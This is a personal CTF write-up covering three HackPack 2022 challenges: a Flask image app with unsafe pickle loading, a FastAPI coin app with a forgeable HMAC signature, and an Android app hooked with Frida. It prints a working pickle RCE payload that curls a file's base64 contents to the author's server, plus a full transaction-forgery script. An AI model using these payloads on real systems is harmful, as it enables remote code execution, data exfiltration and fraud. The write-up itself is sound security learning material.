Writeup: HackPackCTF-2022
About
Hello readers, I have regularly started playing CTFs on the weekends again. I hope this time that I’ll be regular.
Last weekend I played the HackPack2022 CTF. It was a really fun CTF and I learned a lot of things.
Out of all the challenges solved, I am posting the writeups of the most interesting ones. Enjoy !
Web: Imported Kimichi
This challenge highlighted “insecure unpickling” bug . The challenge gave us a website which we can use for image upload and later viewing.
It also provided with the app’s source code. here it is.
1import uuid
2from flask import *
3from flask_bootstrap import Bootstrap
4import pickle
5import os
6
7app = Flask(__name__)
8Bootstrap(app)
9
10app.secret_key = 'sup3r s3cr3t k3y'
11
12ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])
13
14images = set()
15images.add('bibimbap.jpg')
16images.add('galbi.jpg')
17images.add('pickled_kimchi.jpg')
18
19@app.route('/')
20def index():
21 return render_template("index.html", images=images)
22
23@app.route('/upload', methods=['GET', 'POST'])
24def upload():
25 if request.method == 'POST':
26 image = request.files["image"]
27 if image and image.filename.split(".")[-1].lower() in ALLOWED_EXTENSIONS:
28 # special file names are fun!
29 extension = "." + image.filename.split(".")[-1].lower()
30 fancy_name = str(uuid.uuid4()) + extension
31
32 image.save(os.path.join('./images', fancy_name))
33 flash("Successfully uploaded image! View it at /images/" + fancy_name, "success")
34 return redirect(url_for('upload'))
35
36 else:
37 flash("An error occured while uploading the image! Support filetypes are: png, jpg, jpeg", "danger")
38 return redirect(url_for('upload'))
39
40 else:
41 return render_template("upload.html")
42
43@app.route('/images/<filename>')
44def display_image(filename):
45 try:
46 pickle.loads(open('./images/' + filename, 'rb').read())
47 except:
48 pass
49 return send_from_directory('./images', filename)
50
51if __name__ == "__main__":
52 app.run(host='0.0.0.0')
53
Looking at the source code, we deduce that the app is checking for image extension and then uploading it to /images/
directory with a random name.
The interesting part is in the /image/<filename>
route
1@app.route('/images/<filename>')
2def display_image(filename):
3 try:
4 pickle.loads(open('./images/' + filename, 'rb').read())
5 except:
6 pass
7 return send_from_directory('./images', filename)
as you can see right inside the “try” block , the app tries to load picked data from the image. And we all know that processing unsafe pickle data can lead to an rce. More about it here
So the steps to get an rce for this app is
- Create a image with insecure pickle data
- Upload image
- Visit image to make the app run
pickle.loads
and get an RCE.
Here is the exploit I used + modified
1import pickle
2import base64
3import os
4
5
6class RCE:
7 def __reduce__(self):
8 cmd = ('curl http://<my-aws-ip>/$(cat flag.txt | base64)')
9 return os.system, (cmd,)
10
11
12if __name__ == '__main__':
13 pickled = pickle.dumps(RCE())
14 f = open("exploit.png" , "wb")
15 f.write(pickled)
16 f.close()
This creates an image exploit.png
which will cat the output of flag.txt
(i just guessed it would be flag.txt, this way i bypassed the need for a reverse shell) and then curl my aws ip with the base64 encoded flag as a path.
Starting up a listener on AWS and uploading the file, waiting for a few seconds and we will get a response like this
base64 decode and we get the flag
Note Later the flag was changed due to some issues, so I had to exploit this again with the same exploit, and it worked. The new flag was flag{4nd_h3r3_1_w45_th1nk1ng_v1n3g4r_w45_s4n1t4ry}
2. Web TupleCoin
This challenge highlighted the “insecure token generation” bug.
TLDR
- Visit robots.txt
- Get source code from
wget /app/bckup
- Run exploit.py :)
Here is the description for the bounty page of the website
# Bug Bounty
Can you steal Tuco's TuCos? If you can, we have a prize for you!!
Things you should know about Tuco before you begin:
- His account number is 314159265, and you can't have it.
- He absolutely _hates_ robots, especially ones from Silicon Valley.
- He fights as savagely as he eats chicken. Once glance at his soiled napkin and his enemies run screaming.
So to create an account, we just have to simply use any random integer except tuco’s account number i.e 314159265. If we use tuco’s account number, we get an error.
- Create page
To transfer funds, we can visit the transfer page. Requests and response shown on the right side.
- Transfer page
And finally to certify the transaction, the app calls /api/transaction/commit
, as can be seen on the right side.
- Certify
Here we can see the source code for better understanding of what’s happening behind the scenes.
1from __future__ import annotations
2import hmac
3import math
4import os
5import secrets
6
7from fastapi import FastAPI, HTTPException
8from fastapi.responses import RedirectResponse
9from fastapi.staticfiles import StaticFiles
10from pydantic import BaseModel
11
12
13SECRET_KEY = secrets.token_bytes(32) # random each time we run
14TUCO_ACCT_NUM = 314159265
15
16FLAG_FILE = os.environ.get("TUPLECOIN_FLAG_FILE", "flag.txt")
17try:
18 with open(FLAG_FILE) as fd:
19 FLAG = fd.read().strip()
20except:
21 FLAG = "we has a fake flag for you, but it won't get you points at the CTF..."
22
23
24app = FastAPI()
25APP_DIST_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "client", "dist")
26app.mount("/app", StaticFiles(directory=APP_DIST_DIR), name="static")
27
28
29
30class Balance(BaseModel):
31 acct_num: int
32 num_tuco: float
33
34 def serialize(self) -> bytes:
35 return (str(self.acct_num) + '|' + str(self.num_tuco)).encode()
36
37 def sign(self, secret_key: bytes) -> CertifiedBalance:
38 return CertifiedBalance.parse_obj({
39 "balance": {
40 "acct_num": self.acct_num,
41 "num_tuco": self.num_tuco,
42 },
43 "auth_tag": hmac.new(secret_key, self.serialize(), "sha256").hexdigest(),
44 })
45
46
47class CertifiedBalance(BaseModel):
48 balance: Balance
49 auth_tag: str
50
51 def verify(self, secret_key: bytes) -> Balance:
52 recreate_auth_tag = self.balance.sign(secret_key)
53 if hmac.compare_digest(self.auth_tag, recreate_auth_tag.auth_tag):
54 return self.balance
55 else:
56 raise ValueError("invalid certified balance")
57
58
59class Transaction(BaseModel):
60 from_acct: int
61 to_acct: int
62 num_tuco: float
63
64 def serialize(self) -> bytes:
65 return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()
66
67 def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
68 tuco_smash = self.serialize()
69 tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()
70
71 return CertifiedTransaction.parse_obj({
72 "transaction": {
73 "from_acct": self.from_acct,
74 "to_acct": self.to_acct,
75 "num_tuco": self.num_tuco
76 },
77 "auth_tag": tuco_hash,
78 })
79
80
81class CertifiedTransaction(BaseModel):
82 transaction: Transaction
83 auth_tag: str
84
85 def verify(self, secret_key: bytes) -> Transaction:
86 recreated = self.transaction.sign(secret_key)
87 if hmac.compare_digest(self.auth_tag, recreated.auth_tag):
88 return self.transaction
89 else:
90 raise ValueError("invalid authenticated transaction")
91
92
93@app.get('/', include_in_schema=False)
94def home():
95 return RedirectResponse("app/index.html")
96
97
98@app.get('/robots.txt', include_in_schema=False)
99def robots():
100 return RedirectResponse("app/robots.txt")
101
102# Returns type CertifiedBalance ; Takes Int
103@app.post("/api/account/claim")
104async def account_claim(acct_num: int) -> CertifiedBalance:
105 if acct_num == TUCO_ACCT_NUM:
106 raise HTTPException(status_code=400, detail="That's Tuco's account number! Don't make Tuco mad!")
107
108 balance = Balance.parse_obj({
109 "acct_num": acct_num,
110 "num_tuco": math.pi,
111 })
112
113 return balance.sign(SECRET_KEY)
114
115# Returns type Certified Transaction; Takes Transaction
116@app.post("/api/transaction/certify")
117async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
118 if transaction.from_acct == TUCO_ACCT_NUM:
119 raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
120 return transaction.sign(SECRET_KEY)
121
122# Returns type String ; takes Certified Transcation (WE WILL GET OUR FLAG HERE)
123@app.post("/api/transaction/commit")
124async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
125 transaction = certified_transaction.verify(SECRET_KEY)
126 if transaction.from_acct != TUCO_ACCT_NUM:
127 return "OK"
128 else:
129 return FLAG
130
Here we can look in the function transaction.sign (line:67), the tuco_smash varible calls self.serialize.
In this function we can notice that for the generation of auth token, the app appends from_acct
, to_acct
and num_tuco
without any seperator
This part is important, because without any seperator we can create the auth token for the user tuco by manipulating values. Since the app appends the values without a seperator we can bypass the tuco account check by
<first half of tuco's account number> + <second half of tuco's account number> + num tuco
this will generate the auth-token, which we can use to “commit” as tuco’s account number.
From source code we can deduce that to get the flag we must call /api/transaction/commit
with tuco’s account number and a valid hash to get the flag
The “from_acct” param and the “to_acct” param combine to form tuco’s account number and the final string that will be generated - 31415926512
Using the same auth token from the last response in this request All the params combine to form the same string as the previous request. i.e 31415926512
Here is an automated python script to do the same
1import json
2import requests
3
4url = 'https://tuplecoin.cha.hackpack.club/'
5tuco = 314159265
6headers = {
7 "Content-Type":"application/json"
8 }
9
10data = {
11 "from_acct" : int(str(tuco)[:-2]),
12 "to_acct" : int(str(tuco)[-2:]),
13 "num_tuco" : 12
14 }
15
16r = requests.post(url + 'api/transaction/certify' ,json = data , headers = headers)
17
18
19j = json.loads(r.text)
20auth = j["auth_tag"]
21
22exploit = {
23 "transaction":{
24 "from_acct": tuco,
25 "to_acct":1,
26 "num_tuco":2
27 },
28 "auth_tag": auth
29 }
30
31r = requests.post(url + 'api/transaction/commit' , json = exploit , headers = headers)
32print(r.text)
33
output
Rev: 3T 3ND UR HOM3
This was an android challenge. We get an apk so we boot up an android emulator .
Unpacking the APK and editing AndroidManifest.xml to change the minimum android api version required to 23 (idk it was not working on my emulator, had to do this)
Repacking the apk.
Signing the apk
1keytool -genkey -keystore test.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
2
3jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Now we install the apk
1adb install modded.apk
Now we have our environment set up, we can now proceed with source code analysis
Viewing source code by Jadx.
This is the main function of the android app. On line 38 we can see the apk calling a method c
of the class qg
(since qgVar is object of qg). Let’s inspect this method.
The method c
returns some string value, we can hook this method and see it’s return value. This will give us the flag most probably.
So to do this, there are two ways
The Skiddie Way : Using Objection
Using objection we can check for classes and find the return value for the same.
1objection -g com.hackpack.et explore
1android hooking watch class_method qg.c --dump-return
Now entering any text inside the textbox will call the function and give us the flag
Pro Way: Manual function override using frida.
We know which class we have to hook, so creating a custom frida script for the same
1Java.perform(function(){
2 Java.use("qg").c.implementation = function (a , b) {
3 console.log("Exploit Loaded");
4 var retVal = this.c(a , b);
5 console.log(retVal);
6 return retVal;
7 }
8});
The above scripts overloads the function qg.c
and then prints it’s return value.
Now running this on frida
1frida -U -j exploit.js com.hackpack.et --no-pause
Again entering text on the text box will print the flag for the challenge
Conclusion
I hope you all learned something from this writeup. If you feel that this could be improved, feel free to mail me. Thankyou HackPack team for this wonderful CTF.